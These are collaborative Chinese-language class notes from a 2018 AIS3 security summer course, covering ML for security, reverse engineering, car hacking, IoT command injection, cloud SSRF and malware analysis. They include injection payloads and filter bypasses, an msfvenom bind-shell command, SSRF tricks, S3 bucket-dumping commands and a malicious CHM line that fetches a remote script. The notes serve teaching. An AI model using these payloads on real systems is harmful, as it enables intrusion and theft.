owned this note changed 7 years ago
Linked with GitHub

AIS3 2018 南區共筆

官方網站 : https://ais3.org/
聊天室 : https://bit.ly/2OoISSS ←看到最後 /*https://tlk.io/ais3-2018*/
北區共筆 : https://bit.ly/2uZ1zVg
中區共筆 : https://bit.ly/2OoISSS

7/30 (一) 14:00 - 17:00

  • 講師 : 陳仲寬 交通大學 BambooFox
  • Machine learning for security
  • Docker 教學
    ​​​​# Start an interactive terminal in an exsiting docker.
    ​​​​docker -it [docker_id] [binary]
    ​​​​# List all docker IDs
    ​​​​docker ps
    ​​​​# Load a file into docker.
    ​​​​docker load < [file]
    
  • 架設jupyter notebook
    ​​​​# 講師的 docker image
    ​​​​sudo docker pull bletchley/mlsec:ais3
    ​​​​# 先看有沒有load成功
    ​​​​sudo docker images
    ​​​​# run起來
    ​​​​sudo docker run -it -p 8888:8888 bletchley/mlsec:ais3 bash
    ​​​​# 進 docker 之後執行
    ​​​​jupyter notebook --allow-root
    
  • Confusion Matrix
    • 如果想要判斷很多種病毒,rootkit
    • 多種class的區分
  • ROC曲線越靠近100%則越好(越貼左上)
  • False positive/false negative越高越好?
    • 防毒軟體會避免誤殺
    • 高安全性環境寧可錯殺也不放過
    • 根據環境設計要偏重False positive/false negative?
  • 近年有許多好用的工具Numpy tensorflow等

LAB 0-1 Payment Fraud

  • 打開mlsec/frauddetect/logistic-regression-fraud-detection.ipynb
  • One-hot-encoding
    • 值沒有任何意義,只作為種類之分,要轉成數字
    • 把各類轉成欄位,有幾類就會新增幾欄
    • 若太多欄位,就要評估有沒有用!
    ​​​​​​df=pd.get_dummies(df,columns=["paymentMethod"])
    
  • 做出train dataset和test dataset,先用train dataset訓練出model,再用test dataset測試訓練結果
    ​​​​​​X_train, X_test, y_train, y_test = train_test_split(df.drop('label', axis=1), df['label'],test_size=0.33, random_state=17)
    
  • 訓練:LogisticRegression
    ​​​​​​clf = LogisticRegression().fit(X_train, Y_train)
    ​​​​​​y_pred = clf.predict(X_test)
    
    可以到scikit-learn搜尋其他方法LogisticRegression只是其中一種

LAB 0-2 Anomaly Detection

  • mlsec/cpu_anomaly/arima-forecasting.ipynb
  • Arima algorithm 可以找出
    • 資料有無cycle
    • 資料有無趨勢
    • 資料長時間的偏移
  • 直接run不用寫
  • Machine Learning的問題
    • Overfitting
      • 過適,model太會學了
      • 不會變通
      • 背考古題
    • Underfitting
      • 不太會學的model
  • School of machine learning

Symbolists 符號理論學派

  • 所有的智慧可以被簡化成操縱符號,就像數學家求解方程式的過程, 是透過用其他表達式來替換表達式的方法。
    • \(2+\ 2=\ ?\)
    • \(2+\ ?=\ 4\)
    • 蘇格拉底是人+人會死=?
    • 蘇格拉底是人+?=蘇格拉底會死
  • 早期有人嘗試把人類的所有規則都定義來判斷
  • Apriori Principle
  • Decision Tree - ID3
    • Main loop:
      • A="Best" decision attribute for next node(挑最好的屬性 失敗就換下一層去判斷)
    • But which attribute is best to split on?
      • entropy in ML(計算亂度的工具)
        • \(Entropy(S)\equiv-p_{\oplus}log_{2}p_{\oplus}-p_{\ominus}log_{2}p_{\ominus}\)
        • Graph
      • Information Gain (衡量entropy的improvement)
        • entropy值越高代表資訊越不確定,越低代表結果越明確,分類後值越低代表分類的效果越好。
        • 切了一刀之後entropy變好或變壞 選最好的那一刀
        • ref : 圖解機器學習

LAB 1-2 Malware Classification

  • 已經features選好的dataset
  • mlsec/malware/malware-classification
    1. 先看FileAlignment欄位在兩者中有無區別性
      • 沒有
    2. 再看SectionsMaxEntropy欄位在兩者中有無區別性
    ​​​​plt.figure(figsize=(20,10))
    ​​​​    plt.hist([legit_binaries['SectionsMaxEntropy'], malicious_binaries['SectionsMaxEntropy']],\
    ​​​​range=[0,8], normed=True, color=["green", "red"],label=["legitimate", "malicious"])
    ​​​​plt.legend()
    ​​​​plt.show()
    
    1. 將不重要的欄位drop掉
    ​​​​X = df.drop(['Name', 'md5', 'legitimate'], axis=1).values
    ​​​​y = df['legitimate'].values
    
    1. 使用 ExtraTreesClassifier選好的features
    ​​​​# Build a forest and compute the feature importances - n_estimators:The number of trees in the forest.
    ​​​​forest = ExtraTreesClassifier(n_estimators=10).fit(X, y)
    ​​​​# Meta-transformer for selecting features based on importance weights.
    ​​​​model = SelectFromModel(forest, prefit=True)
    ​​​​X_new = model.transform(X)
    
    • PS: 其他Algorithms
    ​​​​algorithms = {
    ​​​​    "DecisionTree": tree.DecisionTreeClassifier(max_depth=10),
    ​​​​    "RandomForest": ensemble.RandomForestClassifier(n_estimators=50), 
    ​​​​    "GradientBoosting": ensemble.GradientBoostingClassifier(),
    ​​​​    "AdaBoost": ensemble.AdaBoostClassifier(),
    ​​​​    "GNB": naive_bayes.GaussianNB()
    ​​​​}
    

Analogizers 類比推理學派

  • Regression
    • Linear Regression
    • Polynomial Regression
  • Model Optimazation - Gradient Descent
    • 嘗試將error圖畫出來 沿著梯度下降,一路走到local optimal
    • 可配合模擬退火演算法

Lab 2-1 Linear Regression

  • /home/ml/Desktop/intro/00-linear-regression.ipynb
  • Repeat until convergence
    • \(\theta_{j}:=\theta_{j}-\alpha\frac{1}{m}\sum_{i=1}^{m}(h_{\theta}x^{i}-y^{i})x_{j}^{i}\)

Bayesians 貝氏定理學派

  • 以機率為主
  • 根據時間和證據 更新假設
  • 根據新的資料調整可信度(先驗VS後驗機率)
  • 塊陶

LAB 3-1 Spam Filter

  • 寫分類找出垃圾郵件
  • spam/spam-fighting-blacklist.ipynb
    • nltk: Natural Language Toolkit
      • 用stopwords list去除掉太常出現的單字,e.g.:'the','is'
    • 抓出只出現在spam中的單字,去除掉好的Mail有的字
  • spam/spam-fighting-naivebayes.ipynb
    • 用CountVectorizer()統計各單字出現的次數
    • In [2] 記得路徑前面加 ../

Evolutionaries 演化論學派

  • 物競天擇
  • 常用在調整參數 或者 用在類神經網路的選層數架構

Connectionists 類神經網路學派

Principle Component Analysis (PCA)

  • 降低維度 留下較有用的組合
  • 找出資料中較重要的維度方向來表示
  • 參考網頁

LAB 6-1 XSS Detection

  • WAF
  • adversarial_learn/binary-classifier-evasion.ipynb
  • _coef,代表每個字受到不同係數影響的程度

Email : ckchen@cs.nctu.edu.tw

7/31 (二) 09:30 - 12:30

  • 講師 : 林昆立 TDOHacker
  • 逆向工程實務
  • 投影片 : https://game.ntu.st/ais3-re-practice.pdf
  • 用virtualbox裝win7的看這篇
    • 開機後先到控制台移除VMtools
    • 之後虛擬機重開時按F8 選擇 安全模式開機
    • 開啟VirtualBox選項Device->Insert Guest Additions CD image
    • 打開Win7裡的 光碟機 執行 VBoxWinodwsAdditions.exe
    • 安裝時 有一個地方要記得打勾安裝 Direct3D support
    • 裝好後關機
    • 到virtualbox設定虛擬機->顯示->底下的2D 3D加速打勾
    • 開機 完成
  • cheat engine: ctrl+g 跳到指定的記憶體位址
  • 要建立範例程式編譯時要用的CL要在開始菜單中打開Microsoft Visual Studio 2017->Visual Studio Tools->Visual Studio命令提示(2017),之後才能使用CL編譯程式,不然要自行添加Visual Studio環境變數也可以。
  • x64dbg
    • 在指令上按兩下/按Space,可以更改組合語言
    • 在暫存器上按兩下可以直接更改暫存器的值
  • movfuscator
    • 原理可以參考數位邏輯電路
  • Function call
    • ebp會定在一個地方
    • esp會亂跑
  • Calling converting(i.e.ABI)
    • 基本上回傳都放到eax rax
    • 但是傳入參數到function就不一樣了(各家都不同)
    • stdcall in 32bits
      • 參數逆序push進堆疊
      • return後,由被呼叫函數清除堆疊上的參數
      • Windows預設用這個
    • 64bits Linux
      • 參數依序放進RDI,RSI,RDX,RCX,R8,R9
      • 參數超過六個就放堆疊
      • return後,由call的那一方清除堆疊上的參數
    • 方便找到main的位置
    ​​​​print(“main function at %p\n”, &main);
    
  • Control flow
  • 從 1 加總到 10:
    • Code
      ​​​​​​​​#include <stdio.h>
      ​​​​​​​​int main() {
      ​​​​​​​​    int sum = 0;
      ​​​​​​​​    for (int i=1; i<=10; i++) {
      ​​​​​​​​        sum += i;
      ​​​​​​​​    }
      ​​​​​​​​    printf("1 + ... + 10 = %d\n", sum);
      ​​​​​​​​}
      
    • 編譯好進 IDA Free (新版只支援 64-bit)
    • Shift+F12 進 Strings
    • 找到 "1 + + 10 = %d\n" 字串點兩下進去
    • 按 Ctrl+X 就可以追進被參照的地方 (List cross reference)
    • 就可以看到程式的流程
  • x64dbg cheet sheet
    • Ctrl-F2: 重新執行被debug程式
    • F7: step in
    • F8: step over
    • F9: continue
    • Ctrl-G: jump to
  • IDApro cheet sheet
    • 待補
    • IDA Pro 在處理有不定數量參數的function可能會有問題
  • 脫殼
    • 找OEP(original entry point)
    • Memory dump
  • 軟體保護 : 讓破解成本遠高於獲得利益
  • CheatEngine
    • 有關的資料會放在附近
  • https://game.ntu.st/

7/31 (二) 14:00 - 17:00

  • 講師 : Asuka Nakajima NTT

  • Reverse Engineering Dojo: Enhancing Assembly Reading Skills

  • Ultimate goal: Human Decompiler

  • x86 Assembly basic

    • registers
    • function call(cdecl)
    ​​​​#function(1,2,3)
    ​​​​push 0x3
    ​​​​push 0x2
    ​​​​push 0x1
    ​​​​call function
    ​​​​add esp, 0xc #caller cleans stack
    
    • function call(gcc)
    ​​​​#function(1,2,3)
    ​​​​mov DWORD PTR[esp+0x8],0x3
    ​​​​mov DWORD PTR[esp+0x4],0x2
    ​​​​mov DWORD PTR[esp],0x1
    ​​​​call function
    
    • stack frame(上面才是stk底部)
    content pointer stackframe
    傳入參數(RTL) caller
    return address callee
    saved BP(main) <-ebp callee
    local variable callee
    <-esp
  • C++ RE basic

    • Local
      • Before the member function is called, "this" was passed.
      ​​​​​​​​lea ecx, [ebp+foo] #this
      
    • Constructor
      • 先call new, 再call constructor
    • Destructor
      • 先call destructor, 再call delete
    • 繼承
      • 子類別會call父類別的constructor
    • Virtual function
      • Vtable pointer added as a hidden member
      • Vtable
        • Array of function pointer which is decleared as a virtual function

Reverse Engineering Dojo 解答,答案是前年的,可能有些為不同

Email: nakajima.asuka@lab.ntt.co.jp

8/1 (三) 09:30 - 12:30

  • 講師 : 叢培侃 奧義智慧科技
  • 基礎汽車網路安全研究
  • 投影片From Cyber Security to Car Hacking.pdf
    • 密碼:car101
  • 原廠要診斷車子的時候會接到OBDII
    • 大多位於方向盤下面
    • OBD汽車的診斷系統
  • ECU是車子的電腦
  • 汽車設備通常走CAN Bus
    • CAN bus概念類似TCP/IP
    • UDS 概念類似Http (application layer)
  • ECO很便宜,可以買來玩玩(去汽車殺肉場越重越貴)
  • 頻寬大的走Ethernet/FlexRay/MOST
  • 頻寬小的走LIN/CAN
  • 馬力可用參數改(?
  • Keyless可以用訊號延伸來解
  • 無法針對keyless作重送攻擊
  • 所有的驗證都在Transponder裡
  • 常見keyless演算法: megamos/hitag/DST-40
  • IVI(多媒體載具)最多人研究的,最常能連上Ethernet的載具
  • 歐洲車安世界第一XD
  • CAN(Controller Area Network)就是扭起來的雙絞線
    • 差動傳輸
    • 傳輸速度慢
    • 抗干擾才扭起來

  • Arbitration ID越小越先被處理,可被偽造
  • 一個封包8byte
  • 重點在於如何將CAN訊號整理解析 重點不是用什麼設備收訊號
  • 用一個叫ECOM的線 大概5千多
  • ECOM有很好的library,可以做很多事情
  • 或者 ValueCan 賣的是他的軟體
  • 還有 Universal ECU Bench Cable
    • 有多條線可以直接插到ECU上
  • UDS有定義許多方法 有規範ECU的安全
    • UDS定義
    • 0x27類似linux上的su
    • SEED有4byte
    • SEED驗證在backend
  • UDS Hijacking用現有的session取得access level
  • 目前比較可行的方式是對ECU firmware做逆向工程
  • Firmware有Tuning protection
  • 解法: BSL booting mode
    • Bootloader從CAN bus傳入
    • Bootpin接\(5\Omega\)接地

8/1 (三) 14:00 - 17:00

  • 講師 : 劉建宗 安華聯網
  • 軟體安全開發實務
  • V2 password:Fqv$M;K[8&@-2Hm~
  • V3 password:ZtA6t735ZH:D7S?r
  • V4 password:eDpYJbD},"*74?"W
  • 環境安裝

1.先將src資料夾內的.cpp檔案複製到CppUnitLite資料夾內
2.開啟DevCpp建立新project名字取CppUnitliteDev
3.選擇Static Library
4.對專案CppUnitliteDev按右鍵
5.將檔案加入專案
6.將CppUnitLite資料夾內的檔案全部加入專案
7.執行 > 編譯
8.CppUnitliteDev資料夾內應該會出現CppUnitliteDev.a檔
ref : 有圖文的教學 但是不完全正確 or 中區筆記

  • 接著打開V2專案

1.把CppUnitLite資料夾丟到V2資料夾內
2.專案p3-1右鍵 > 專案選項
3.參數 > Linker > 新增程式庫或目的檔
4.加入剛剛產生的CppUnitliteDev.a檔
5.在main.cpp加入 #include "CppUnitLite/TestHarness.h"
6.plamath.cpp也加入#include "CppUnitLite/TestHarness.h"
7.把main.cpp裡的main function註解掉
8.加入以下main function

int main() { TestResult tr; TestRegistry::runAllTests(tr); return 0; }

9.在playmath.cpp的最底部開始加入TEST function(中區筆記內容)

TEST(Math, creation) { // 這個Math, creation的參數我不知道是什麼... // 各種TEST... } //Example. TEST(Math,creation){ string test = playMath("555+5*7"); LONGS_EQUAL(590,atoi(test.c_str())); } //把590改成其他數字 他就會跟你說這東西錯了

軟體安全分析

  • 先確定程式的安全界線在哪裡 先畫一個範圍 你覺得這個範圍內不會造成程式的威脅
  • 界限出來,interface出來,可能的漏洞就出來了
  • 把可能的攻擊方法都列出來 一一驗證
  • STRIDE

8/2 (四) 09:30 - 12:30

  • 講師 : 王歆綺 資策會

  • 遠端注入與無檔案式攻擊技術

  • 線上convert

  • xxd (XXD

  • 將7檔案 用blockow.cmd變成shellcode之後(指令:blockow.cmd 7 會生成shellcode檔案)

  • 用IDA 和 Ollydbg打開shellcode檔案

  • 發現sub_401088 function 在call windows API (5f327377h等)

  • 在sub_401088 function內 找出 call ebp的address 然後到ollydbg 下斷點 共有 3個call ebp 和 40107f的jmp eax

  • 然後多按幾次f9執行 會看到jmp eax那行 後面有個灰色的字 寫那個library的名字 找到ws2_32.bind 這個 library 再去找他的IP

  • 去google bind的windows API 會看到如簡報上所看到的code

  • 相關的參數會在堆疊上照順序存放

  • 看到push一堆數字 就要懷疑是windows API

  • 然後又call ebp所以可能是執行API

  • 許多API在執行時需要參數 所以要看stack內容 才知道參數(listen port 等)

  • 資安高峰會的openEMR漏洞解析

8/2 (四) 14:00 - 17:00

  • 講師 : 劉作仁 安華聯網

  • 連網裝置安全檢測

  • Command injection

    • 嵌入式設備最常出現的問題是 command injection,而不是 sql injection
    • 需要注意對方 host 是什麼系統
    • 常用 payload
      • ;command
      • && command
      • `command` (比較不容易被擋)
      • $(command) (比較不容易被擋)
    • 如果 "cmd1 && cmd2" 被擋,可用 || 代替,不過 cmd1 要為false
    • 容易被注入的功能: ping, ntp, dhcp
  • http://10.103.10.182/dvwa

  • pentestmonkey

  • command injection 最常用的指令 reboot可以很快知道該指令有沒有被執行成功

  • 可用 ${IFS} 代替空白 < 要大寫(Internal Field Separator的縮寫)

  • 發現弱點

    • 注入點
    • 簡易測試指令
    1. 時間伺服器
    2. 防火牆設定
    3. 網路設定
    4. 網路診斷功能
    5. 測試指令越簡單越好
    6. 一個單字尤佳
  • 繞過限制

    • 防火牆阻擋
    • 字串過濾或檢查
    1. Clear Inbound Rules
    2. Clear Outbound Rules
    3. 系統保留字
    4. No bash, only ash
    5. 寫入 /tmp
  • 取得控制介面

    • 主動連接
    • 反向連接
    1. 使用Telnet/SSH
    2. 使用Netcat Listen Port
    3. 製作新的Shell
    4. 確認CPU架構
    5. Metasploit快速上手
#msfvenom --format elf --arch mipsle --platform linux --out mipsle.elf --payload linux/mipsle/shell_bind_tcp VAR1=VAL1 VAR2=VAL2 VAR3=VAL3

Source:https://www.offensive-security.com/metasploit-unleashed/msfvenom/

  • 許多嵌入式設備的指令都是由busybox提供
  • binwalk -Me <firmware_filename>
  • Firmware-Mod-Kit
  • 直接拆flash 再來把架構切出來 然後讀出他的程式
apt-get install libglib2.0-dev libpixman-1-dev cd qemu-master;mkdir build;cd build ../configure --static --enable-debug --target-list=arm-linux-user,armeb-linux-user,mips-linux-user,mips64-linux-user,mips64el-linux-user,mipsel-linux-user #上面那行好像有問題 講師沒release slide所以不知道 make && sudo make install 7z x 3E7000.tar cp~/qemu/bulid/mipsel-linux-user/qemu-mipesl chmod +x bin/udps sudo chroot .....

8/3 (五) 09:30 - 12:30

  • 講師 : 王凱慶 中華電信/中華資安國際
  • 網站應用程式安全 雲端上常見的資訊安全問題
  • 講師Email:hi@kaiching.wang
  • 傳統環境與雲端環境
  • 講師ㄉ部落格
    • 傳統
      • 以最低需求服務
    • 雲端環境
      • 高度變化
      • 數不清的服務
    • 簡單三步驟
      1.看服務供應商手冊
      2.覺得雲端很安全
      3.告訴老闆客戶我們很安全
  • 雲端環境下的資訊安全評估
  • 其他可以考慮的議題
    1. 浮動IP範圍
    2. 服務是否暴露在PUBLIC環境
    3. 系統弱點如何被patch的
    4. 入侵系統後還能做什麼?
    5. 網路架構是怎麼一回事?
    6. 應用架構特性差異

  • 雲端環境的差異

    工作項目 傳統環境 雲端環境
    部署網站 上傳code 上傳code
    檔案儲存 FTP/WebDav S3
    架設服務 自己裝 IaaS/PaaS/SaaS
    網路系統 IT維護人員 雲端管理
    • 工作項目沒有太大的差別
    • 網站弱點不管在雲端還是傳統環境差異不大
  • Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    在開始之前
    • 先確保有獲得授權
    • 請先進行系統備分與還原測試
    • 不要在正式環境下使用auto function
    • 不小心撿到野生的資料請回保相關廠商

(怕被吉(告)的話請投到HITCON zeroday)

搜尋引擎 site:ais3.org (Google,bing,yahoo,百度,Yandex都用一次) **yandex-->找垃圾很威!google的俄羅斯版(? 網域列舉Crt.sh證書透明度查詢系統 僅有效憑證資訊可供查詢 **網站很不穩定,常出事(?
  • 資訊蒐集

    • 網頁列舉
    • Crt.sh or 賽門鐵克 censys
      • 證書透明度查詢
      • 僅有校憑證資訊可供查詢
        (AIS3網站有藏很多flag,但是都沒人找到,管理人表示他很傷心QQ)
    • PassiveDNS
      • 紀錄曾經解析過的網域
      • 分析網域過往行為
    • Virustotal search
      • 搜尋 ais3.org,可以看到各種紀錄
    • 網域列舉
    • CSP(contest Security Policy)
      • CSP用於指定網站資源的有效域,用於強化XSS攻擊的抵抗能力
  • DNS相關攻擊

    • 網域劫持
      • 使用第三方服務(SaaS),使用CNAME綁定自家網域。
      • 忘記移除DNS指向紀錄,但目標服務已經移除
        • 攻擊者重新註冊該服務,獲取網域內容控制權
  • 繞過CDN

    • 為什麼要繞過?

    • 有WAF

    • 繞過CDN

    • DDOS就打的到?

    • 容易Debug

    • 額外的注入機會

    • AP通常是如何獲取使用者IP?

    • 使用CDN的AP要如何獲取真實IP?

    • 怎麼繞過

      • 嘗試找舊的IP
      • 找尋報路在網站上的真實IP
      • 尋找沒有受CDN保護的子網域
      • 調整HTTP Referer
      • 觀察Header
  • 如何正確使用CDN

    • 使用安全通道 GRE tunnel or VPN
    • 僅允許CDN與AP進行連線

練習題1

https://realme.0x61697333.cf (一個flag)
http://a???t.0x61697333.cf (1個flag)<好像比較簡單(?
http://ais3secret.0x61697333.cf/

  • 題解
    1.用Virustotal搜尋https://realme.0x61697333.cf 網址


    2.使用Chrome插件Modify Headers修改Headers

    3.再訪問http://52.194.38.175/即得旗子:)

  • Cloud Storage Service

    • 資料儲存服務
    • 透過API進行操作
    • 雲端環境中的角色
    • 資料長時間儲存
    • 資料交換
    • 儲存備份資料
  • 最常見的安全問題

    • 權限配置錯誤
    • 被意外存取
    • 網域劫持
  • AWS S3

    • 搜尋公開儲存空間
    • 如何列舉目標S3 Bucket
    • 使用字典檔
    • 如何生成字典檔
    • 手動產生
      • 公司名稱
  • Bucket Name具有唯一性

  • 網址格式

下面沒看到QQ

GG
只好參考其他區的共筆

  • AWSBucketDump
    • 全自動列舉公開的AWS S3
    • 自動下載有興趣的檔案

python AWSBucketDump.py -l 字典檔 -g 關鍵字 -DQQ -m 檔案尺寸限制 -t 執行緒

練習題2

  • s3 bucket有一個ais3相關的bucket(1個flag)

    ​​​​echo "ais3/flag" > keyword ​​​​python3 AWSBucketDump.py -l BucketNames.txt -g keyword -t 2
  • http://gallery.0x61697333.cf (2個flag)(亂碼的話 這站是UTF8)

    1. 看看2016 2017的圖片path 把網域名稱 改成2015
    2. 有 asset-production 不試試看 asset-test 嗎?
  • Hint

    • 檔案關鍵字:ais3/flag
ais3
flag
​​​​- 迷你字典檔:https://pastebin.com/75SauPid
  • Load Balancer

    • Load Balancer的用途
      • 附載平衡
      • 動態增減服務主機
    • Load Balancer的安全風險
      • 部屬源汙染
      • 探索服務汙染
      • 經濟攻擊
        ex:consul這服務探索
  • AMI Market

    • AMI封裝方式
    • 主系統(加密)
    • 儲存區
  • 那個神祕的主系統

  • 網路控管

    • 使用Security Group
    • CloudMapper
      • 視覺化網路連接狀況

初學者推薦使用 GCP (Google Cloud Platform)

SSRF 伺服器端服務請求偽造

  • SSRF的攻擊面

    • 借刀殺人 (ex:google robot)
    • 探索內部服務(Port Scan)
    • 攻擊內部服務(Struct2,Redis,ElasticSearch)
    • 讀取本機端檔案(/etc/passwd)
    • 識別服務光價/架構(Banner)
  • 什麼地方會出現SSRF?

    • 能夠發起網路請求的地方
    • 呼叫其他服務
    • 請求遠端資源(下載檔案、快取)
    • 服務內建功能(Oracle,MSSOL,CouchDB)
    • 文件處理(ffmpeg, ImageMagic, Doc, Xlsx, PDF, XML) (ex:利用excel的公式請求檔案)
    • 其他漏洞利用(Command Injection, SQLi, XSS, SSTI) (建議多看SSTI的漏洞,考試會考)
  • 神奇服務

    • Splash: Javascript Render Service
    • 爬蟲會用到的工具
    • 可以 GET/POST 還可以修改Header
  • 運行方法

    docker run -p 8050:8050 -p 5023:5023 scrapinghub/splash

多多尋找8050, 5023port

  • 可利用協議
    • Http/Https
    • Gopher
    • File
    • Dict
  • 常見的可利用服務
    • ElasticSearch (大家常把他當DB用,各種隱私資料(?))
    • CouchDB
    • Redis

練習3

​​​​- http://ssrf01.0x61697333.cf (1個flag)
​​​​- 內建: Elastic Search (1個flag)
​​​​- Ubuntu 14.01 + Nginx (預設路徑)

  • 保護繞過
    • HTTP 302 重新導向
      • Location
  • 任意變形
    • IP變形
      • 127.0.1
      • 127.0x0.0x00.1
      • 127.0.0.1==>http:

-http://0//(?)

dig 8.8.8.8.nip.io

  • DNS Rebind
    • 檢查與請求結果不一致
    A.1.1.1.1.1time.127.0.0.1.1time.repeat.rebind.network
  • 解析不一致(一個網址各自表述)

    • 什麼是MetaData的IP位置?

    • WeirdAAL (AWS Attack Library)

    • 專門設計來攻擊AWS Service

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Py3才可以用喔

git clone https://github.com/carnal0wnage/weirdAAL cd weirdAAL pip3 install -r requirements.txt python3 create_dbs.py

.env 補上 aws_session_token = <insert token>


練習4

http://ssrf10.0x61697333.cf (3個flag)


index 用法看一下喔 下標不是兩個
好喔,我只是方便點暫時OAO
這效率真高啊XD
好棒!XD
大家負責一行XD

南區-討論區

我不太會用這格式調整QQ
Tab + shift Tab
誰可以把剛剛的網站用個連結上去R?
文字這邊
喔喔!謝大大
詳情請參閱這個 (?
投影片的圖片怎麼用上這裡阿?
直接拉就好 hackmd 很友善會幫你丟imgur

傻眼XD
難怪木棍有發文過ww 當時還不知道是三小
484各種這類活動的網站都有彩蛋啊?XD
聽說TDOH conf今年的網站有埋(彩蛋),但只是一張有趣的東西
有人打內容有調整格式這樣好像比較有效率(?
格式需要調整嗎 不是邊打就條好了(?


8/3 (五) 14:00 - 17:00

  • 講師 : 鄭朱弘毅/林政君 趨勢科技
  • 先進資安防護技術 & 實例:AI/IOT
  • 基礎資安教育訓練:網頁 & IOT (TMSAT)

沒有人寫共筆ww

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

等等有好玩的遊戲
強制沖水
一言不合就幫你洗屁股
一言不合就幫你買冰箱食物
駭客格格 算我便宜一點拉><
駭客: 抱歉我高估了臺灣的消費能力 <- 聽起來超悲傷的QQ QQ
一言不和就幫你打豆漿 原來是駭客家政婦啊
快睡著

講者的聲音語調有點安詳
我都念ㄇㄧ ㄖㄨㄞ-
我念 咪賴~
案例課
shodan我都念 "朽店n"
我怎麼覺得聽來聽去都是最近聽過的東西@@
我是古阿莫-我要來講最近發生的所有資安事件
就時間輪迴
等等!!講師會不會看共筆啊!!?
不會吧 中區都失控了
XD
我覺得以後都不要用IOT的東西好了
不用就不會被駭X)
純樸生活w
斷網最快
不然就是自己架VPN自己的裝置都是走自己的內網
然後就SSRF(?)
中區金城武跟大家說午安
午安
台南億載金城武報到
goodafternoon!:)
可以請問第642行那邊那個欄位到底怎麼來的嘛?@@
君の名は
不是啦!我是說上一堂課的練習@@
CF-Connecting-IP 這串到底怎麼來的@@
Cloudflare填的

CF-Connecting-IP

To provide the client (visitor) IP address for every request to the origin, Cloudflare adds the CF-Connecting-IP header.

"CF-Connecting-IP: A.B.C.D"

所以是cloudfare的指令?欄位?
Cloudflare轉送到Host那邊的時候填入的header吧
原來如此 謝大大指點<(_ _)>
其實如果沒有白目的露出realip用cloudflare還蠻夠用的
嗯嗯嗯?要結束了?!

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
下課
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

今天好早!
沒小遊戲嗎QQQQ
什麼小遊戲?
可以打的東西之類的
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
沒密碼的WiFi很髒

可是大家都很喜歡連ˊ~ˋ
其實有密碼的 wifi 也很(ry
這場等一下可以玩 PaGamO ㄅ
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

I have free wi-fi


  • 省錢廣告:叫google home唸出來
  • 長的像的簡報
    • part2 ppt

講師聲音好好聽喔 0A0!
頭毛也好美喔!
484有被外派到大陸過R
覺得帥欸XD
字正腔圓
還捲舌兒
有磁性的低音砲 >///< 只不過髮型讓我想到韓德爾(?XD
認真,覺得帥!
噗XD 欸很像女生的髮型欸XD 有在保養的樣子ww
那個捲是要燙的
這個咪ㄖㄨㄞ 我可以
我記得這簡報有在其他地方講過
大大們的簡報都是同一份這邊講那邊講X)
我是指AIS3以外的
除非巡迴不然應該不會重複那麼多吧
長官指定吧
好奇是哪間銀行w
花*吧
阿不就還好只有三碼w
應該是NIST, 800-63-3 上面寫B
Digital Identity Guidelines(SP 800-63-3)
那這個呢?0.0
Digital Identity Guidelines
標題不一樣 title注意

  • 安全的Session/Cookie
    • 設定有效期限
    • 認證或權限變更之後要重新建立session
    • 設定cookie屬性做保護
  • SSL lab

8/4 (六) 09:30 - 12:30

  • 講師 : Anthony Lai VXRL

  • Target Attack Analysis and Incident Response
    https://drive.google.com/drive/folders/1Lyo3I0DkvOxfHhKno2mzt0cHNcDwEfWg

  • material: https://goo.gl/XFubKq

  • apktool

  • hydra暴力破解 (kali 內建工具)

  • 鑑識工具 Volatility

  • Bonus Lab

    • 解壓.chm (7zip)
    • 看到start.htm有一行:
      <param name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();try{GetObject("script:http://www.kvtester.com/g6dfha.vbs");}catch(e){}'>
    • 觀察script內容,發現他會下載win32.exe, win32.dll
    • 開IDA和x32dbg去看win32.exe
      • 他會註冊三個鍵值
      • 他會把它自己複製到%appdata%\microsoft.exe
  • sans malware analysis cheat sheet

  • remnux

  • cuckoo Sandbox

  • 分析惡意檔案時記得在自有環境分析就好,不要甚麼檔案都丟到線上分析工具,因為怕會順便把私人資訊也上傳到分析網站(ex:個人帳戶)

  • Invoke-Obfuscation 工具

